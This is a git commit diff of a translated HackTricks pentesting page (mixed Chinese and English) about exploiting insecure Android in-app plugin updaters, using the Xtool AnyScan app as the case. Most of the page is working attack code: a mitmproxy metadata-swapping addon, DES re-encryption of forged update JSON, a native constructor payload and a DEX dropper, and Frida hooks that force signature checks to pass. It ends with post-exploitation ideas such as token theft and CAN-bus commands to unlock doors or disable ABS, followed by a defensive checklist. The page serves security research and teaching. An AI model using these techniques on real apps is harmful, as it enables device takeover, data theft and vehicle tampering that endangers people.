Translated ['src/mobile-pentesting/android-app-pentesting/insecure-in-ap

This commit is contained in:
Translator 2025-08-27 04:07:44 +00:00
parent b086c69d38
commit 57d33bca0f

View File

@ -1,16 +1,49 @@
# 不安全的应用内更新机制 通过恶意插件进行远程代码执行
# 不安全的 In-App Update 机制 Remote Code Execution via Malicious Plugins
{{#include ../../banners/hacktricks-training.md}}
许多Android应用程序实现了**自己的“插件”或“动态特性”更新通道**而不是使用Google Play商店。当实现不安全时能够拦截流量的攻击者可以提供**任意本地代码,该代码将在应用程序进程中加载**导致手机上的完全远程代码执行RCE——在某些情况下还可以在应用控制的任何外部设备上执行汽车、物联网、医疗设备等)。
许多 Android 应用实现了自己的“plugin”或“dynamic feature”更新通道而不是使用 Google Play Store。当实现不安全时能够拦截或篡改更新流量的攻击者可以提供任意 native 或 Dalvik/ART 代码,这些代码将在应用进程内被加载,导致手机上获得完整的 Remote Code Execution (RCE) —— 并且在某些情况下会影响应用控制的任何外部设备汽车、IoT、医疗设备……)。
本页面总结了在Xtool **AnyScan** 汽车诊断应用程序v4.40.11 → 4.40.40中发现的真实漏洞链并将该技术进行概括以便您可以审核其他Android应用程序并在红队参与期间利用该错误配置
本页总结了在 Xtool AnyScan automotive-diagnostics 应用中发现的一个真实漏洞链v4.40.11 → 4.40.40),并将该技术泛化,以便你在审计其他 Android 应用或在 red-team 演练中利用错误配置时使用
---
## 0. Quick triage: does the app have an inapp updater?
在 JADX/apktool 中的静态线索:
- Strings: "update", "plugin", "patch", "upgrade", "hotfix", "bundle", "feature", "asset", "zip".
- Network endpoints like `/update`, `/plugins`, `/getUpdateList`, `/GetUpdateListEx`.
- Crypto helpers near update paths (DES/AES/RC4; Base64; JSON/XML packs).
- Dynamic loaders: `System.load`, `System.loadLibrary`, `dlopen`, `DexClassLoader`, `PathClassLoader`.
- Unzip paths writing under app-internal or external storage, then immediately loading a `.so`/DEX.
运行时挂钩以确认:
```js
// Frida: log native and dex loading
Java.perform(() => {
const Runtime = Java.use('java.lang.Runtime');
const SystemJ = Java.use('java.lang.System');
const DexClassLoader = Java.use('dalvik.system.DexClassLoader');
SystemJ.load.overload('java.lang.String').implementation = function(p) {
console.log('[System.load] ' + p); return this.load(p);
};
SystemJ.loadLibrary.overload('java.lang.String').implementation = function(n) {
console.log('[System.loadLibrary] ' + n); return this.loadLibrary(n);
};
Runtime.load.overload('java.lang.String').implementation = function(p){
console.log('[Runtime.load] ' + p); return this.load(p);
};
DexClassLoader.$init.implementation = function(dexPath, optDir, libPath, parent) {
console.log(`[DexClassLoader] dex=${dexPath} odex=${optDir} jni=${libPath}`);
return this.$init(dexPath, optDir, libPath, parent);
};
});
```
---
## 1. 识别不安全的 TLS TrustManager
1. 使用jadx / apktool反编译APK并定位网络堆栈OkHttp、HttpUrlConnection、Retrofit等
2. 寻找一个**自定义的`TrustManager`**或`HostnameVerifier`,该组件盲目信任每个证书:
1. 使用 jadx / apktool 反编译 APK并定位网络栈 (OkHttp, HttpUrlConnection, Retrofit…)
2. 查找自定义的 `TrustManager``HostnameVerifier`,其会盲目信任所有证书:
```java
public static TrustManager[] buildTrustManagers() {
return new TrustManager[]{
@ -22,24 +55,35 @@ public X509Certificate[] getAcceptedIssuers() {return new X509Certificate[]{};}
};
}
```
3. 如果存在,应用程序将接受 **任何 TLS 证书** → 你可以使用自签名证书运行一个透明的 **MITM 代理**
3. 如果存在,应用会接受任何 TLS certificate → 你可以运行一个透明的 MITM proxy 并使用 self-signed cert
```bash
mitmproxy -p 8080 -s addon.py # see §4
iptables -t nat -A OUTPUT -p tcp --dport 443 -j REDIRECT --to-ports 8080 # on rooted device / emulator
```
## 2. 反向工程更新元数据
如果 TLS pinning 被强制启用,而不是不安全的 trust-all 逻辑,请参见:
在 AnyScan 的案例中,每次应用启动都会触发一个 HTTPS GET 请求到:
{{#ref}}
android-anti-instrumentation-and-ssl-pinning-bypass.md
{{#endref}}
{{#ref}}
make-apk-accept-ca-certificate.md
{{#endref}}
---
## 2. Reverse-Engineering the Update Metadata
在 AnyScan 的情况下,每次应用启动都会触发一个 HTTPS GET 请求到:
```
https://apigw.xtoolconnect.com/uhdsvc/UpgradeService.asmx/GetUpdateListEx
```
响应体是一个 **XML 文档**,其 `<FileData>` 节点包含 **Base64 编码的DES-ECB 加密的** JSON描述每个可用插件。
响应体是一个 XML 文档,其 `<FileData>` 节点包含 Base64-encoded、DES-ECB 加密的 JSON用于描述每个可用插件。
典型的搜索步骤:
典型的排查步骤:
1. 定位加密例程(例如 `RemoteServiceProxy`)并恢复:
* 算法DES / AES / RC4 …)
* 操作模式ECB / CBC / GCM …)
* 硬编码的密钥 / IV通常是常量中的 56 位 DES 密钥或 128 位 AES 密钥)
- 算法 (DES / AES / RC4 …)
- 模式 (ECB / CBC / GCM …)
- 硬编码的密钥 / IV (commonly 56bit DES or 128bit AES constants)
2. 在 Python 中重新实现该函数以解密 / 加密元数据:
```python
from Crypto.Cipher import DES
@ -55,9 +99,17 @@ def encrypt_metadata(plaintext: bytes) -> str:
cipher = DES.new(KEY, DES.MODE_ECB)
return b64encode(cipher.encrypt(plaintext.ljust((len(plaintext)+7)//8*8, b"\x00"))).decode()
```
## 3. 制作恶意插件
Notes seen in the wild (20232025):
- 元数据通常是 JSON-within-XML 或 protobuf弱加密算法和静态密钥很常见。
- 许多更新器在实际 payload 下载时接受明文 HTTP即使元数据是通过 HTTPS 获取的。
- 插件经常解压到应用内部存储;一些仍使用外部存储或旧的 `requestLegacyExternalStorage`,从而使跨应用篡改成为可能。
1. 选择任何合法的插件 ZIP并用你的有效载荷替换本地库
---
## 3. 构造恶意插件
### 3.1 本地库路径 (dlopen/System.load[Library])
1. 选择任意合法的插件 ZIP并将本地库替换为你的 payload
```c
// libscan_x64.so constructor runs as soon as the library is loaded
__attribute__((constructor))
@ -71,12 +123,37 @@ __android_log_print(ANDROID_LOG_INFO, "PWNED", "Exploit loaded! uid=%d", getuid(
$ aarch64-linux-android-gcc -shared -fPIC payload.c -o libscan_x64.so
$ zip -r PWNED.zip libscan_x64.so assets/ meta.txt
```
2. 更新 JSON 元数据,使 `"FileName" : "PWNED.zip"``"DownloadURL"` 指向你的 HTTP 服务器。
3. 对修改后的 JSON 进行 DES 加密 + Base64 编码,并将其复制回拦截的 XML 中。
2. 更新 JSON 元数据,使 `"FileName" : "PWNED.zip"``"DownloadURL"` 指向你的 HTTP 服务器。
3. 对修改后的 JSON 重新加密并进行 Base64 编码,然后将其复制回被拦截的 XML 中。
## 4. 使用 mitmproxy 发送有效载荷
### 3.2 Dex-based plugin path (DexClassLoader)
`addon.py` 示例,*静默* 交换原始元数据:
有些应用会下载 JAR/APK 并通过 `DexClassLoader` 加载代码。构建一个在加载时触发的恶意 DEX
```java
// src/pwn/Dropper.java
package pwn;
public class Dropper {
static { // runs on class load
try {
Runtime.getRuntime().exec("sh -c 'id > /data/data/<pkg>/files/pwned' ");
} catch (Throwable t) {}
}
}
```
```bash
# Compile and package to a DEX jar
javac -source 1.8 -target 1.8 -d out/ src/pwn/Dropper.java
jar cf dropper.jar -C out/ .
d8 --output outdex/ dropper.jar
cd outdex && zip -r plugin.jar classes.dex # the updater will fetch this
```
如果目标调用 `Class.forName("pwn.Dropper")`,你的静态初始化器会执行;否则,使用 Frida 通过反射枚举已加载的类并调用一个导出的方法。
---
## 4. 使用 mitmproxy 交付 Payload
`addon.py` 示例,静默替换原始元数据:
```python
from mitmproxy import http
MOD_XML = open("fake_metadata.xml", "rb").read()
@ -89,36 +166,69 @@ MOD_XML,
{"Content-Type": "text/xml"}
)
```
运行一个简单的网络服务器来托管恶意 ZIP
运行一个简单的 Web 服务器来托管恶意 ZIP/JAR
```bash
python3 -m http.server 8000 --directory ./payloads
```
当受害者启动应用程序时,它将
* 通过MITM通道获取我们伪造的XML
* 使用硬编码的DES密钥解密和解析它;
* 下载`PWNED.zip` → 在私有存储中解压;
* `dlopen()`包含的*libscan_x64.so*,立即以**应用程序的权限**执行我们的代码相机、GPS、蓝牙、文件系统等
当受害者启动该应用时,会
- 通过 MITM 通道获取我们伪造的 XML
- 使用硬编码的 crypto 解密并解析它;
- 下载 `PWNED.zip``plugin.jar` → 在私有存储中解压;
- 加载包含的 `.so` 或 DEX立即以应用的权限执行我们的代码相机、GPS、蓝牙、文件系统等
由于插件缓存于磁盘,后门**在重启后仍然存在**,并在用户每次选择相关功能时运行。
## 5. 后期利用想法
* 偷取应用程序存储的会话cookie、OAuth令牌或JWT。
* 投放第二阶段APK并通过`pm install`静默安装(应用程序已经具有`REQUEST_INSTALL_PACKAGES`)。
* 滥用任何连接的硬件 在AnyScan场景中您可以发送任意**OBD-II / CAN总线命令**解锁车门、禁用ABS等
因为插件被缓存到磁盘,后门会在重启后仍然存在,并且每次用户选择相关功能时都会运行。
---
### 检测与缓解清单(蓝队
## 4.1 绕过签名/哈希检查(如果存在)
* 永远不要使用自定义TrustManager/HostnameVerifier禁用证书验证来发布生产版本。
* 不要从Google Play以外下载可执行代码。如果您*必须*,请使用相同的**apkSigning v2**密钥签署每个插件,并在加载之前验证签名。
* 用**AES-GCM**和服务器端轮换密钥替换弱/硬编码的加密。
* 验证下载归档的完整性签名或至少SHA-256
如果更新器验证签名或哈希hook 验证以始终接受攻击者内容:
```js
// Frida make java.security.Signature.verify() return true
Java.perform(() => {
const Sig = Java.use('java.security.Signature');
Sig.verify.overload('[B').implementation = function(a) { return true; };
});
// Less surgical (use only if needed): defeat Arrays.equals() for byte[]
Java.perform(() => {
const Arrays = Java.use('java.util.Arrays');
Arrays.equals.overload('[B', '[B').implementation = function(a, b) { return true; };
});
```
Also consider stubbing vendor methods such as `PluginVerifier.verifySignature()`, `checkHash()`, or shortcircuiting update gating logic in Java or JNI.
---
## 参考文献
## 5. Other attack surfaces in updaters (20232025)
- [NowSecure 在Xtool AnyScan应用中发现的远程代码执行](https://www.nowsecure.com/blog/2025/07/16/remote-code-execution-discovered-in-xtool-anyscan-app-risks-to-phones-and-vehicles/)
- [Android 不安全的TrustManager模式](https://developer.android.com/privacy-and-security/risks/unsafe-trustmanager)
- Zip Slip path traversal while extracting plugins: malicious entries like `../../../../data/data/<pkg>/files/target` overwrite arbitrary files. Always sanitize entry paths and use allowlists.
- External storage staging: if the app writes the archive to external storage before loading, any other app can tamper with it. Scoped Storage or internal app storage avoids this.
- Cleartext downloads: metadata over HTTPS but payload over HTTP → straightforward MITM swap.
- Incomplete signature checks: comparing only a single file hash, not the whole archive; not binding signature to developer key; accepting any RSA key present in the archive.
- React Native / Web-based OTA content: if native bridges execute JS from OTA without strict signing, arbitrary code execution in the app context is possible (e.g., insecure CodePush-like flows). Ensure detached update signing and strict verification.
---
## 6. Post-Exploitation Ideas
- 窃取 app 存储的 session cookies、OAuth tokens 或 JWTs。
- 放置二阶段 APK 并在可能的情况下通过 `pm install` 静默安装(有些应用已声明 `REQUEST_INSTALL_PACKAGES`)。
- 滥用任何连接的硬件 — 在 AnyScan 场景中你可以发送任意 OBDII / CAN 总线命令(解锁车门、禁用 ABS 等)。
---
### Detection & Mitigation Checklist (blue team)
- 避免 dynamic code loading 和 outofstore updates。优先使用 Playmediated updates。如果 dynamic plugins 是刚性需求,设计为仅数据的捆绑包,并将可执行代码保留在基线 APK 中。
- 正确强制使用 TLS不要使用自定义的信任所有trustall管理器在可行时部署 pinning并使用加强的 network security config 来禁止明文流量。
- 不要从 Google Play 之外下载可执行代码。如果必须,使用 detached update signing例如 Ed25519/RSA并使用开发者持有的密钥在加载前验证。绑定 metadata 和 payload长度、hash、版本并采用 failclosed 策略。
- 使用现代加密AESGCM并对 metadata 使用每条消息的 nonce从客户端移除硬编码密钥。
- 验证下载归档的完整性:验证覆盖每个文件的签名,或至少验证包含 SHA256 哈希的清单。拒绝额外/未知文件。
- 将下载存储在 appinternal storage或 Android 10+ 的 scoped storage并使用防止跨应用篡改的文件权限。
- 防御 Zip Slip在解压前规范化并验证 zip 条目路径;拒绝绝对路径或包含 `..` 的段。
- 考虑使用 Play “Code Transparency”以便你和用户可以验证已发布的 DEX/native 代码与构建产物是否匹配(作为补充但不能替代 APK 签名)。
---
## References
- [NowSecure Remote Code Execution Discovered in Xtool AnyScan App](https://www.nowsecure.com/blog/2025/07/16/remote-code-execution-discovered-in-xtool-anyscan-app-risks-to-phones-and-vehicles/)
- [Android Developers Dynamic Code Loading (risks and mitigations)](https://developer.android.com/privacy-and-security/risks/dynamic-code-loading)
{{#include ../../banners/hacktricks-training.md}}